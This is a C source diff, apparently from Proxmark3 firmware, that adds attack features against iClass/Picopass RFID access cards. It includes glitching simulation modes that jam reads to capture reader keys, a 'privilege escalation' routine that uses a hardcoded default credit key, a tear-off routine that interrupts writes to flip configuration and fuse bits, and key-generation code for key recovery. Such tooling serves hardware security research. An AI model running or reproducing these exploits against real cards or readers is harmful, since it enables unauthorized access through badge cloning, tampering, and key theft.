do_iclass_simulation(int simulationMode, uint8_t *reader_mac_buf) { //This is used for responding to READ-block commands or other data which is dynamically generated //First the 'trace'-data, not encoded for FPGA - uint8_t *data_generic_trace = BigBuf_malloc(34); // 32 bytes data + 2byte CRC is max tag answer + uint8_t *data_generic_trace = BigBuf_calloc(34); // 32 bytes data + 2byte CRC is max tag answer //Then storage for the modulated data //Each bit is doubled when modulated for FPGA, and we also have SOF and EOF (2 bytes) - uint8_t *data_response = BigBuf_malloc((34 * 2) + 3); + uint8_t *data_response = BigBuf_calloc((34 * 2) + 3); enum { IDLE, ACTIVATED, SELECTED, HALTED } chip_state = IDLE; @@ -601,13 +602,27 @@ int do_iclass_simulation(int simulationMode, uint8_t *reader_mac_buf) { goto send; } } // switch - } else if (simulationMode == ICLASS_SIM_MODE_FULL) { + } else if (simulationMode == ICLASS_SIM_MODE_FULL || simulationMode == ICLASS_SIM_MODE_FULL_GLITCH || simulationMode == ICLASS_SIM_MODE_FULL_GLITCH_KEY) { if (block == 3 || block == 4) { // Kd, Kc, always respond with 0xff bytes modulated_response = resp_ff; modulated_response_size = resp_ff_len; trace_data = ff_data; trace_data_size = sizeof(ff_data); } else { // use data from emulator memory + if (simulationMode == ICLASS_SIM_MODE_FULL_GLITCH) { + //Jam the read based on the last SIO block + if (memcmp(emulator + (current_page * page_size) + (5 * 8), ff_data, PICOPASS_BLOCK_SIZE) == 0) { //SR card + if (block == 16) { //SR cards use a standard legth SIO + goto send; + } + } else { //For SE cards we have to account for different SIO lengths depending if a standard or custom key is used + uint8_t *sio = emulator + (current_page * page_size) + (6 * 8); + if (block == (5 + ((sio[1] + 12) / 8))) { + goto send; + } + } + } + memcpy(data_generic_trace, emulator + (current_page * page_size) + (block * 8), 8); AddCrc(data_generic_trace, 8); trace_data = data_generic_trace; @@ -650,7 +665,12 @@ int do_iclass_simulation(int simulationMode, uint8_t *reader_mac_buf) { goto send; } - if (simulationMode == ICLASS_SIM_MODE_FULL) { + if (simulationMode == ICLASS_SIM_MODE_FULL || simulationMode == ICLASS_SIM_MODE_FULL_GLITCH || simulationMode == ICLASS_SIM_MODE_FULL_GLITCH_KEY) { + + if (glitch_key_read) { + goto send; + } + // NR, from reader, is in receivedCmd +1 opt_doTagMAC_2(*cipher_state, receivedCmd + 1, data_generic_trace, diversified_key); @@ -717,7 +737,7 @@ int do_iclass_simulation(int simulationMode, uint8_t *reader_mac_buf) { chip_state = HALTED; goto send; - } else if (simulationMode == ICLASS_SIM_MODE_FULL && cmd == ICLASS_CMD_READ4 && len == 4) { // 0x06 + } else if ((simulationMode == ICLASS_SIM_MODE_FULL || simulationMode == ICLASS_SIM_MODE_FULL_GLITCH || simulationMode == ICLASS_SIM_MODE_FULL_GLITCH_KEY) && cmd == ICLASS_CMD_READ4 && len == 4) { // 0x06 if (chip_state != SELECTED) { goto send; @@ -758,20 +778,24 @@ int do_iclass_simulation(int simulationMode, uint8_t *reader_mac_buf) { resp_cc_len = ts->max; cipher_state_KD[current_page] = opt_doTagMAC_1(card_challenge_data, diversified_kd); cipher_state_KC[current_page] = opt_doTagMAC_1(card_challenge_data, diversified_kc); - if (simulationMode == ICLASS_SIM_MODE_FULL) { + if (simulationMode == ICLASS_SIM_MODE_FULL || simulationMode == ICLASS_SIM_MODE_FULL_GLITCH || simulationMode == ICLASS_SIM_MODE_FULL_GLITCH_KEY) { memcpy(emulator + (current_page * page_size) + (8 * 2), card_challenge_data, 8); } } else if (block == 3) { // update Kd for (int i = 0; i < 8; i++) { - if (personalization_mode) { + if (personalization_mode || simulationMode == ICLASS_SIM_MODE_FULL_GLITCH_KEY) { diversified_kd[i] = receivedCmd[2 + i]; } else { diversified_kd[i] ^= receivedCmd[2 + i]; } } cipher_state_KD[current_page] = opt_doTagMAC_1(card_challenge_data, diversified_kd); - if (simulationMode == ICLASS_SIM_MODE_FULL) { + if (simulationMode == ICLASS_SIM_MODE_FULL || simulationMode == ICLASS_SIM_MODE_FULL_GLITCH || simulationMode == ICLASS_SIM_MODE_FULL_GLITCH_KEY) { memcpy(emulator + (current_page * page_size) + (8 * 3), diversified_kd, 8); + if (simulationMode == ICLASS_SIM_MODE_FULL_GLITCH_KEY) { + glitch_key_read = true; + goto send; + } } } else if (block == 4) { // update Kc for (int i = 0; i < 8; i++) { @@ -782,14 +806,30 @@ int do_iclass_simulation(int simulationMode, uint8_t *reader_mac_buf) { } } cipher_state_KC[current_page] = opt_doTagMAC_1(card_challenge_data, diversified_kc); - if (simulationMode == ICLASS_SIM_MODE_FULL) { + if (simulationMode == ICLASS_SIM_MODE_FULL || simulationMode == ICLASS_SIM_MODE_FULL_GLITCH || simulationMode == ICLASS_SIM_MODE_FULL_GLITCH_KEY) { memcpy(emulator + (current_page * page_size) + (8 * 4), diversified_kc, 8); } - } else if (simulationMode == ICLASS_SIM_MODE_FULL) { + } else if (simulationMode == ICLASS_SIM_MODE_FULL || simulationMode == ICLASS_SIM_MODE_FULL_GLITCH || simulationMode == ICLASS_SIM_MODE_FULL_GLITCH_KEY) { // update emulator memory memcpy(emulator + (current_page * page_size) + (8 * block), receivedCmd + 2, 8); } + if (simulationMode == ICLASS_SIM_MODE_FULL_GLITCH) { + //Jam the read based on the last SIO block + uint8_t *sr_or_sio = emulator + (current_page * page_size) + (6 * 8); + if (memcmp(emulator + (current_page * page_size) + (5 * 8), ff_data, PICOPASS_BLOCK_SIZE) == 0) { //SR card + if (block == 16) { //SR cards use a standard legth SIO + //update block 6 byte 1 from 03 to A3 + sr_or_sio[0] |= 0xA0; + goto send; + } + } else { //For SE cards we have to account for different SIO lengths depending if a standard or custom key is used + if (block == (5 + ((sr_or_sio[1] + 12) / 8))) { + goto send; + } + } + } + memcpy(data_generic_trace, receivedCmd + 2, 8); AddCrc(data_generic_trace, 8); trace_data = data_generic_trace; @@ -809,7 +849,7 @@ int do_iclass_simulation(int simulationMode, uint8_t *reader_mac_buf) { goto send; } - if (simulationMode == ICLASS_SIM_MODE_FULL && max_page > 0) { + if ((simulationMode == ICLASS_SIM_MODE_FULL || simulationMode == ICLASS_SIM_MODE_FULL_GLITCH || simulationMode == ICLASS_SIM_MODE_FULL_GLITCH_KEY) && max_page > 0) { // if on 2k, always ignore 3msb, & 0x1F) uint8_t page = receivedCmd[1] & 0x1F; @@ -877,8 +917,9 @@ send: LEDsoff(); - if (button_pressed) + if (button_pressed) { DbpString("button pressed"); + } return button_pressed; } @@ -938,29 +979,29 @@ int do_iclass_simulation_nonsec(void) { int trace_data_size = 0; // Respond SOF -- takes 1 bytes - uint8_t *resp_sof = BigBuf_malloc(2); + uint8_t resp_sof[2] = { 0 }; int resp_sof_len; // Anticollision CSN (rotated CSN) // 22: Takes 2 bytes for SOF/EOF and 10 * 2 = 20 bytes (2 bytes/byte) - uint8_t *resp_anticoll = BigBuf_malloc(28); + uint8_t *resp_anticoll = BigBuf_calloc(28); int resp_anticoll_len; // CSN // 22: Takes 2 bytes for SOF/EOF and 10 * 2 = 20 bytes (2 bytes/byte) - uint8_t *resp_csn = BigBuf_malloc(28); + uint8_t *resp_csn = BigBuf_calloc(28); int resp_csn_len; // configuration (blk 1) PICOPASS 2ks - uint8_t *resp_conf = BigBuf_malloc(28); + uint8_t *resp_conf = BigBuf_calloc(28); int resp_conf_len; // Application Issuer Area (blk 5) - uint8_t *resp_aia = BigBuf_malloc(28); + uint8_t *resp_aia = BigBuf_calloc(28); int resp_aia_len; // receive command - uint8_t *receivedCmd = BigBuf_malloc(MAX_FRAME_SIZE); + uint8_t *receivedCmd = BigBuf_calloc(MAX_FRAME_SIZE); // Prepare card messages tosend_t *ts = get_tosend(); @@ -993,11 +1034,11 @@ int do_iclass_simulation_nonsec(void) { //This is used for responding to READ-block commands or other data which is dynamically generated //First the 'trace'-data, not encoded for FPGA - uint8_t *data_generic_trace = BigBuf_malloc(32 + 2); // 32 bytes data + 2byte CRC is max tag answer + uint8_t *data_generic_trace = BigBuf_calloc(32 + 2); // 32 bytes data + 2byte CRC is max tag answer //Then storage for the modulated data //Each bit is doubled when modulated for FPGA, and we also have SOF and EOF (2 bytes) - uint8_t *data_response = BigBuf_malloc((32 + 2) * 2 + 2); + uint8_t *data_response = BigBuf_calloc((32 + 2) * 2 + 2); enum { IDLE, ACTIVATED, SELECTED, HALTED } chip_state = IDLE; @@ -1240,7 +1281,6 @@ static bool iclass_send_cmd_with_retries(uint8_t *cmd, size_t cmdsize, uint8_t * while (tries-- > 0) { iclass_send_as_reader(cmd, cmdsize, start_time, eof_time, shallow_mod); - if (resp == NULL) { return true; } @@ -1578,8 +1618,9 @@ bool iclass_read_block(uint16_t blockno, uint8_t *data, uint32_t *start_time, ui uint8_t c[] = {ICLASS_CMD_READ_OR_IDENTIFY, blockno, 0x00, 0x00}; AddCrc(c + 1, 1); bool isOK = iclass_send_cmd_with_retries(c, sizeof(c), resp, sizeof(resp), 10, 2, start_time, ICLASS_READER_TIMEOUT_OTHERS, eof_time, shallow_mod); - if (isOK) + if (isOK) { memcpy(data, resp, 8); + } return isOK; } @@ -1660,9 +1701,9 @@ void iClass_Dump(uint8_t *msg) { iclass_auth_req_t *req = &cmd->req; bool shallow_mod = req->shallow_mod; - uint8_t *dataout = BigBuf_malloc(ICLASS_16KS_SIZE); + uint8_t *dataout = BigBuf_calloc(ICLASS_16KS_SIZE); if (dataout == NULL) { - DbpString("fail to allocate memory"); + DbpString("Failed to allocate memory"); if (req->send_reply) { reply_ng(CMD_HF_ICLASS_DUMP, PM3_EMALLOC, NULL, 0); } @@ -1776,13 +1817,13 @@ static bool iclass_writeblock_ext(uint8_t blockno, uint8_t *data, uint8_t *mac, } } else if (blockno == 3 || blockno == 4) { // check response. Key updates always return 0xffffffffffffffff - uint8_t all_ff[8] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; - if (memcmp(all_ff, resp, 8)) { + uint8_t all_ff[PICOPASS_BLOCK_SIZE] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; + if (memcmp(all_ff, resp, PICOPASS_BLOCK_SIZE)) { return false; } } else { // check response. All other updates return unchanged data - if (memcmp(data, resp, 8)) { + if (memcmp(data, resp, PICOPASS_BLOCK_SIZE)) { return false; } } @@ -1790,8 +1831,66 @@ static bool iclass_writeblock_ext(uint8_t blockno, uint8_t *data, uint8_t *mac, return true; } +static bool iclass_writeblock_sp(uint8_t blockno, uint8_t *data, uint8_t *mac, bool shallow_mod, uint32_t *start_time, uint32_t *eof_time, bool short_delay) { + + // write command: cmd, 1 blockno, 8 data, 4 mac + uint8_t write[14] = { 0x80 | ICLASS_CMD_UPDATE, blockno }; + uint8_t write_len = 14; + memcpy(write + 2, data, 8); + memcpy(write + 10, mac, 4); + + uint8_t resp[10] = {0}; + bool isOK = false; + if (short_delay) { + isOK = iclass_send_cmd_with_retries(write, write_len, resp, sizeof(resp), 10, 3, start_time, ICLASS_READER_TIMEOUT_UPDATE_FAST, eof_time, shallow_mod); + } else { + isOK = iclass_send_cmd_with_retries(write, write_len, resp, sizeof(resp), 10, 3, start_time, ICLASS_READER_TIMEOUT_UPDATE, eof_time, shallow_mod); + } + if (isOK == false) { + return false; + } + + // check response. All other updates return unchanged data + if (memcmp(data, resp, PICOPASS_BLOCK_SIZE)) { + return false; + } + + return true; +} + +uint8_t credit_key[8] = {0xFD, 0xCB, 0x5A, 0x52, 0xEA, 0x8F, 0x30, 0x90}; + +static bool do_privilege_escalation(uint8_t *read_check_cc, size_t cc_len, uint32_t *eof_time) { + + int priv_esc_tries = 5; + + while (priv_esc_tries--) { + + uint16_t resp_len = 0; + uint8_t resp[10] = {0}; + //The privilege escalation is done with a readcheck and not just a normal read! + uint32_t start_time = *eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + + iclass_send_as_reader(read_check_cc, cc_len, &start_time, eof_time, false); + // expect a 8-byte response here + int res = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_OTHERS, eof_time, false, true, &resp_len); + if (res == PM3_SUCCESS && resp_len == 8) { + return true; + } + } + + if (g_dbglevel == DBG_INFO) { + DbpString(""); + DbpString(_RED_("Unable to complete privilege escalation! Stopping.")); + } + return false; +} + // turn off afterwards void iClass_WriteBlock(uint8_t *msg) { + bool priv_esc = false; + uint8_t read_check_cc[] = { 0x10 | ICLASS_CMD_READCHECK, 0x18 }; + uint8_t div_cc[8] = {0}; LED_A_ON(); @@ -1811,6 +1910,9 @@ void iClass_WriteBlock(uint8_t *msg) { goto out; } + iclass_calc_div_key(hdr.csn, credit_key, div_cc, false); + read_check_cc[1] = hdr.conf.app_limit + 1; //first block of AA2 + uint32_t start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; uint8_t mac[4] = {0}; @@ -1825,7 +1927,7 @@ void iClass_WriteBlock(uint8_t *msg) { } // new block data - memcpy(write + 2, payload->data, 8); + memcpy(write + 2, payload->data, PICOPASS_BLOCK_SIZE); uint8_t pagemap = get_pagemap(&hdr); if (pagemap == PICOPASS_NON_SECURE_PAGEMODE) { @@ -1837,18 +1939,25 @@ void iClass_WriteBlock(uint8_t *msg) { write_len -= 2; } else { - if (payload->req.use_replay) { + if (payload->req.use_replay && (memcmp(payload->mac, "\x00\x00\x00\x00", 4) != 0)) { memcpy(write + 10, payload->mac, sizeof(payload->mac)); } else { // Secure tags uses MAC uint8_t wb[9]; wb[0] = payload->req.blockno; - memcpy(wb + 1, payload->data, 8); + memcpy(wb + 1, payload->data, PICOPASS_BLOCK_SIZE); - if (payload->req.use_credit_key) + if (payload->req.use_credit_key) { doMAC_N(wb, sizeof(wb), hdr.key_c, mac); - else + } else if (payload->req.use_replay) { + priv_esc = do_privilege_escalation(read_check_cc, sizeof(read_check_cc), &eof_time); + if (priv_esc == false) { + goto out; + } + doMAC_N(wb, sizeof(wb), div_cc, mac); + } else { doMAC_N(wb, sizeof(wb), hdr.key_d, mac); + } memcpy(write + 10, mac, sizeof(mac)); } @@ -2070,7 +2179,425 @@ out: reply_ng(CMD_HF_ICLASS_CREDIT_EPURSE, PM3_SUCCESS, (uint8_t *)&res, sizeof(uint8_t)); } +static void iclass_cmp_print(uint8_t *b1, uint8_t *b2, const char *header1, const char *header2) { + + char line1[240] = {0}; + char line2[240] = {0}; + + strcat(line1, header1); + strcat(line2, header2); + + for (uint8_t i = 0; i < PICOPASS_BLOCK_SIZE; i++) { + + int l1 = strlen(line1); + int l2 = strlen(line2); + + uint8_t hi1 = NIBBLE_HIGH(b1[i]); + uint8_t low1 = NIBBLE_LOW(b1[i]); + + uint8_t hi2 = NIBBLE_HIGH(b2[i]); + uint8_t low2 = NIBBLE_LOW(b2[i]); + + if (hi1 != hi2) { + sprintf(line1 + l1, _RED_("%1X"), hi1); + sprintf(line2 + l2, _GREEN_("%1X"), hi2); + } else { + sprintf(line1 + l1, "%1X", hi1); + sprintf(line2 + l2, "%1X", hi2); + } + + l1 = strlen(line1); + l2 = strlen(line2); + + if (low1 != low2) { + sprintf(line1 + l1, _RED_("%1X"), low1); + sprintf(line2 + l2, _GREEN_("%1X"), low2); + } else { + sprintf(line1 + l1, "%1X", low1); + sprintf(line2 + l2, "%1X", low2); + } + } + DbpString(line1); + DbpString(line2); +} + +void iClass_TearBlock(iclass_tearblock_req_t *msg) { + + if (msg == NULL) { + reply_ng(CMD_HF_ICLASS_TEARBL, PM3_ESOFT, NULL, 0); + return; + } + + // local variable copies + int tear_start = msg->tear_start; + int tear_end = msg->tear_end; + int tear_inc = msg->increment; + int tear_loop = msg->tear_loop; + + int loop_count = 0; + + uint32_t start_time = 0; + uint32_t eof_time = 0; + + int isok = PM3_SUCCESS; + + uint8_t data[8] = {0}; + memcpy(data, msg->data, sizeof(data)); + + uint8_t mac[4] = {0}; + memcpy(mac, msg->mac, sizeof(mac)); + + picopass_hdr_t hdr = {0}; + iclass_auth_req_t req = { + .blockno = msg->req.blockno, + .do_auth = msg->req.do_auth, + .send_reply = msg->req.send_reply, + .shallow_mod = msg->req.shallow_mod, + .use_credit_key = msg->req.use_credit_key, + .use_elite = msg->req.use_elite, + .use_raw = msg->req.use_raw, + .use_replay = msg->req.use_replay + }; + memcpy(req.key, msg->req.key, PICOPASS_BLOCK_SIZE); + + LED_A_ON(); + Iso15693InitReader(); + + // save old debug log level + int oldbg = g_dbglevel; + + // no debug logging please + g_dbglevel = DBG_NONE; + + // select + bool res = select_iclass_tag(&hdr, req.use_credit_key, &eof_time, req.shallow_mod); + if (res == false) { + DbpString(_RED_("Failed to select iClass tag")); + isok = PM3_ECARDEXCHANGE; + goto out; + } + + // authenticate + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + res = authenticate_iclass_tag(&req, &hdr, &start_time, &eof_time, mac); + if (res == false) { + DbpString(_RED_("Failed to authenticate with iClass tag")); + isok = PM3_ECARDEXCHANGE; + goto out; + } + + uint8_t data_read_orig[PICOPASS_BLOCK_SIZE] = {0}; + + // read block + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + res = iclass_read_block(req.blockno, data_read_orig, &start_time, &eof_time, req.shallow_mod); + if (res == false) { + Dbprintf("Failed to read block %u", req.blockno); + isok = PM3_ECARDEXCHANGE; + goto out; + } + + bool erase_phase = false; + bool read_ok = false; + + // static uint8_t empty[PICOPASS_BLOCK_SIZE] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; + static uint8_t zeros[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; + + uint8_t ff_data[PICOPASS_BLOCK_SIZE] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }; + uint8_t data_read[PICOPASS_BLOCK_SIZE] = {0}; + + // create READ command + uint8_t cmd_read[] = {ICLASS_CMD_READ_OR_IDENTIFY, req.blockno, 0x00, 0x00}; + AddCrc(cmd_read + 1, 1); + + // create WRITE COMMAND and new block data + uint8_t cmd_write[14] = { 0x80 | ICLASS_CMD_UPDATE, req.blockno }; + uint8_t cmd_write_len = 14; + memcpy(cmd_write + 2, data, PICOPASS_BLOCK_SIZE); + + uint8_t pagemap = get_pagemap(&hdr); + if (pagemap == PICOPASS_NON_SECURE_PAGEMODE) { + // Unsecured tags uses CRC16, but don't include the UPDATE operation code + // byte0 = update op + // byte1 = block no + // byte2..9 = new block data + AddCrc(cmd_write + 1, 9); + cmd_write_len -= 2; + } else { + + if (req.use_replay) { + memcpy(cmd_write + 10, mac, sizeof(mac)); + } else { + // Secure tags uses MAC + uint8_t wb[9]; + wb[0] = req.blockno; + memcpy(wb + 1, data, PICOPASS_BLOCK_SIZE); + + if (req.use_credit_key) + doMAC_N(wb, sizeof(wb), hdr.key_c, mac); + else + doMAC_N(wb, sizeof(wb), hdr.key_d, mac); + + memcpy(cmd_write + 10, mac, sizeof(mac)); + } + } + + // Main loop + while ((tear_start <= tear_end) && (read_ok == false)) { + + if (BUTTON_PRESS() || data_available()) { + isok = PM3_EOPABORTED; + goto out; + } + + // set tear off trigger + g_tearoff_enabled = true; + g_tearoff_delay_us = (tear_start & 0xFFFF); + + if (tear_loop > 1) { + DbprintfEx(FLAG_INPLACE, "[" _BLUE_("#") "] Tear off delay " _YELLOW_("%u") " / " _YELLOW_("%u") " us - " _YELLOW_("%3u") " iter", tear_start, tear_end, loop_count + 1); + } else { + DbprintfEx(FLAG_INPLACE, "[" _BLUE_("#") "] Tear off delay " _YELLOW_("%u") " / " _YELLOW_("%u") " us", tear_start, tear_end); + } + + // write block + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + iclass_send_as_reader(cmd_write, cmd_write_len, &start_time, &eof_time, req.shallow_mod); + + tearoff_hook(); + + switch_off(); + + // start reading block + + // reinit + Iso15693InitReader(); + + // select tag + res = select_iclass_tag(&hdr, req.use_credit_key, &eof_time, req.shallow_mod); + if (res == false) { + continue; + } + + // skip authentication for config and e-purse blocks (1,2) + if (req.blockno > 2) { + + // authenticate + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + res = authenticate_iclass_tag(&req, &hdr, &start_time, &eof_time, NULL); + if (res == false) { + DbpString("Failed to authenticate after tear"); + continue; + } + } + + // read again and keep field on + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + res = iclass_read_block(req.blockno, data_read, &start_time, &eof_time, req.shallow_mod); + if (res == false) { + DbpString("Failed to read block after tear"); + continue; + } + + // + bool tear_success = true; + + if (memcmp(data_read, data, PICOPASS_BLOCK_SIZE) != 0) { + tear_success = false; + } + + if ((tear_success == false) && + (memcmp(data_read, zeros, PICOPASS_BLOCK_SIZE) != 0) && + (memcmp(data_read, data_read_orig, PICOPASS_BLOCK_SIZE) != 0)) { + + // tearoff succeeded (partially) + + if (memcmp(data_read, ff_data, PICOPASS_BLOCK_SIZE) == 0 && + memcmp(data_read_orig, ff_data, PICOPASS_BLOCK_SIZE) != 0) { + + if (erase_phase == false) { + DbpString(""); + DbpString(_CYAN_("Erase phase hit... ALL ONES")); + + iclass_cmp_print(data_read_orig, data_read, "Original: ", "Read: "); + } + erase_phase = true; + + } else { + + if (erase_phase) { + DbpString(""); + DbpString(_MAGENTA_("Tearing! Write phase (post erase)")); + iclass_cmp_print(data_read_orig, data_read, "Original: ", "Read: "); + } else { + DbpString(""); + DbpString(_CYAN_("Tearing! unknown phase")); + iclass_cmp_print(data_read_orig, data_read, "Original: ", "Read: "); + } + } + + // shall we exit? well it depends on some things. + bool goto_out = false; + + if (req.blockno == 2) { + if (memcmp(data_read, ff_data, PICOPASS_BLOCK_SIZE) == 0 && memcmp(data_read_orig, ff_data, PICOPASS_BLOCK_SIZE) != 0) { + DbpString(""); + Dbprintf("E-purse has been teared ( %s )", _GREEN_("ok")); + isok = PM3_SUCCESS; + goto_out = true; + } + } + + if (req.blockno == 1) { + + // if more OTP bits set.. + if (data_read[1] > data_read_orig[1] || + data_read[2] > data_read_orig[2]) { + + + // step 4 if bits changed attempt to write the new bits to the tag + if (data_read[7] == 0xBC) { + data_read[7] = 0xAC; + } + + // prepare WRITE command + cmd_write_len = 14; + memcpy(cmd_write + 2, data_read, PICOPASS_BLOCK_SIZE); + + if (pagemap == PICOPASS_NON_SECURE_PAGEMODE) { + // Unsecured tags uses CRC16, but don't include the UPDATE operation code + // byte0 = update op + // byte1 = block no + // byte2..9 = new block data + AddCrc(cmd_write + 1, 9); + cmd_write_len -= 2; + } else { + + if (req.use_replay) { + memcpy(cmd_write + 10, mac, sizeof(mac)); + } else { + // Secure tags uses MAC + uint8_t wb[9]; + wb[0] = req.blockno; + memcpy(wb + 1, data_read, PICOPASS_BLOCK_SIZE); + + if (req.use_credit_key) + doMAC_N(wb, sizeof(wb), hdr.key_c, mac); + else + doMAC_N(wb, sizeof(wb), hdr.key_d, mac); + + memcpy(cmd_write + 10, mac, sizeof(mac)); + } + } + + // write block + start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; + iclass_send_as_reader(cmd_write, cmd_write_len, &start_time, &eof_time, req.shallow_mod); + + uint16_t resp_len = 0; + uint8_t resp[ICLASS_BUFFER_SIZE] = {0}; + res = GetIso15693AnswerFromTag(resp, sizeof(resp), ICLASS_READER_TIMEOUT_UPDATE, &eof_time, false, true, &resp_len); + if (res == PM3_SUCCESS && resp_len == 10) { + Dbprintf("Wrote to block"); + } + + switch_off(); + + DbpString(""); + DbpString("More OTP bits got set!!!"); + + Iso15693InitReader(); + + // select tag, during which we read block1 + res = select_iclass_tag(&hdr, req.use_credit_key, &eof_time, req.shallow_mod); + if (res) { + + if (memcmp(&hdr.conf, cmd_write + 2, PICOPASS_BLOCK_SIZE) == 0) { + Dbprintf("Stabilize the bits ( "_GREEN_("ok") " )"); + } else { + Dbprintf("Stabilize the bits ( "_RED_("failed") " )"); + } + } + + isok = PM3_SUCCESS; + goto_out = true; + } + + if (data_read[0] != data_read_orig[0]) { + DbpString(""); + Dbprintf("Application limit changed, from "_YELLOW_("%u")" to "_YELLOW_("%u"), data_read_orig[0], data_read[0]); + isok = PM3_SUCCESS; + goto_out = true; + } + + if (data_read[7] != data_read_orig[7]) { + DbpString(""); + Dbprintf("Fuse changed, from "_YELLOW_("%02x")" to "_YELLOW_("%02x"), data_read_orig[7], data_read[7]); + + const char *flag_names[8] = { + "RA", + "Fprod0", + "Fprod1", + "Crypt0 (*1)", + "Crypt1 (*0)", + "Coding0", + "Coding1", + "Fpers (*1)" + }; + Dbprintf(_YELLOW_("%-10s %-10s %-10s"), "Fuse", "Original", "Changed"); + Dbprintf("---------------------------------------"); + for (int i = 7; i >= 0; --i) { + int bit1 = (data_read_orig[7] >> i) & 1; + int bit2 = (data_read[7] >> i) & 1; + Dbprintf("%-11s %-10d %-10d", flag_names[i], bit1, bit2); + } + + isok = PM3_SUCCESS; + goto_out = true; + } + } + + if (goto_out) { + goto out; + } + } + + // tearoff succeeded with expected values, which is unlikely + if (tear_success) { + read_ok = true; + tear_success = true; + DbpString(""); + DbpString("tear success (expected values)!"); + } + + loop_count++; + + // increase tear off delay + if (loop_count == tear_loop) { + tear_start += tear_inc; + loop_count = 0; + } + } + +out: + + switch_off(); + + // reset tear off trigger + g_tearoff_enabled = false; + + // restore debug message levels + g_dbglevel = oldbg; + + if (msg->req.send_reply) { + reply_ng(CMD_HF_ICLASS_TEARBL, isok, NULL, 0); + } +} + void iClass_Restore(iclass_restore_req_t *msg) { + bool priv_esc = false; + uint8_t read_check_cc[] = { 0x10 | ICLASS_CMD_READCHECK, 0x18 }; + uint8_t div_cc[8] = {0}; // sanitation if (msg == NULL) { @@ -2099,7 +2626,9 @@ void iClass_Restore(iclass_restore_req_t *msg) { if (res == false) { goto out; } + iclass_calc_div_key(hdr.csn, credit_key, div_cc, false); + read_check_cc[1] = hdr.conf.app_limit + 1; //first block of AA2 // authenticate uint8_t mac[4] = {0}; uint32_t start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; @@ -2129,10 +2658,17 @@ void iClass_Restore(iclass_restore_req_t *msg) { wb[0] = item.blockno; memcpy(wb + 1, item.data, 8); - if (msg->req.use_credit_key) + if (msg->req.use_credit_key) { doMAC_N(wb, sizeof(wb), hdr.key_c, mac); - else + } else if (msg->req.use_replay) { + priv_esc = do_privilege_escalation(read_check_cc, sizeof(read_check_cc), &eof_time); + if (priv_esc == false) { + goto out; + } + doMAC_N(wb, sizeof(wb), div_cc, mac); + } else { doMAC_N(wb, sizeof(wb), hdr.key_d, mac); + } } // data + mac @@ -2153,96 +2689,65 @@ out: } } -void generate_single_key_block_inverted(const uint8_t *startingKey, uint32_t index, uint8_t *keyBlock) { - uint32_t carry = index; +static void generate_single_key_block_inverted_opt(const uint8_t *startingKey, uint32_t index, uint8_t *keyBlock) { + + uint8_t bits_index = index / 16383; + uint8_t ending_bits[] = { // all possible 70 combinations of 4x0 and 4x1 as key ending bits + 0x0F, 0x17, 0x1B, 0x1D, 0x1E, 0x27, 0x2B, 0x2D, 0x2E, 0x33, + 0x35, 0x36, 0x39, 0x3A, 0x3C, 0x47, 0x4B, 0x4D, 0x4E, 0x53, + 0x55, 0x56, 0x59, 0x5A, 0x5C, 0x63, 0x65, 0x66, 0x69, 0x6A, + 0x6C, 0x71, 0x72, 0x74, 0x78, 0x87, 0x8B, 0x8D, 0x8E, 0x93, + 0x95, 0x96, 0x99, 0x9A, 0x9C, 0xA3, 0xA5, 0xA6, 0xA9, 0xAA, + 0xAC, 0xB1, 0xB2, 0xB4, 0xB8, 0xC3, 0xC5, 0xC6, 0xC9, 0xCA, + 0xCC, 0xD1, 0xD2, 0xD4, 0xD8, 0xE1, 0xE2, 0xE4, 0xE8, 0xF0 + }; + + uint8_t binary_endings[8]; // Array to store binary values for each ending bit + // Extract each bit from the ending_bits[k] and store it in binary_endings + uint8_t ending = ending_bits[bits_index]; + for (int i = 7; i >= 0; i--) { + binary_endings[i] = ending & 1; + ending >>= 1; + } + + uint8_t binary_mids[8]; // Array to store the 2-bit chunks of index + // Iterate over the 16-bit integer and store 2 bits at a time in the result array + for (int i = 0; i < 8; i++) { + // Shift and mask to get 2 bits and store them as an 8-bit value + binary_mids[7 - i] = (index >> (i * 2)) & 0x03; // 0x03 is a mask for 2 bits (binary 11) + } memcpy(keyBlock, startingKey, PICOPASS_BLOCK_SIZE); - for (int j = PICOPASS_BLOCK_SIZE - 1; j >= 0; j--) { - uint8_t increment_value = carry & 0x07; // Use only the last 3 bits of carry - keyBlock[j] = increment_value; // Set the last 3 bits, assuming first 5 bits are always 0 - - carry >>= 3; // Shift right by 3 bits for the next byte - if (carry == 0) { - // If no more carry, break early to avoid unnecessary loops - break; - } + // Start from the second byte, index 1 as we're never gonna touch the first byte + for (int i = 1; i < PICOPASS_BLOCK_SIZE; i++) { + // Clear the last three bits of the current byte (AND with 0xF8) + keyBlock[i] &= 0xF8; + // Set the last bit to the corresponding value from binary_endings (OR with binary_endings[i]) + keyBlock[i] |= ((binary_mids[i] & 0x03) << 1) | (binary_endings[i] & 0x01); } } void iClass_Recover(iclass_recover_req_t *msg) { bool shallow_mod = false; - - LED_A_ON(); - Dbprintf(_RED_("Interrupting this process will render the card unusable!")); - - Iso15693InitReader(); - //Authenticate with AA2 with the standard key to get the AA2 mac - //Step0 Card Select Routine - - uint32_t eof_time = 0; - picopass_hdr_t hdr = {0}; - - bool res = select_iclass_tag(&hdr, msg->req2.use_credit_key, &eof_time, shallow_mod); - //bool res = select_iclass_tag(&hdr, true, &eof_time, shallow_mod); - if (res == false) { - Dbprintf(_RED_("Unable to select card! Stopping.")); - goto out; - } else { - DbpString(_GREEN_("Card selected successfully!")); - } - - //Step1 Authenticate with AA2 using K2 - - 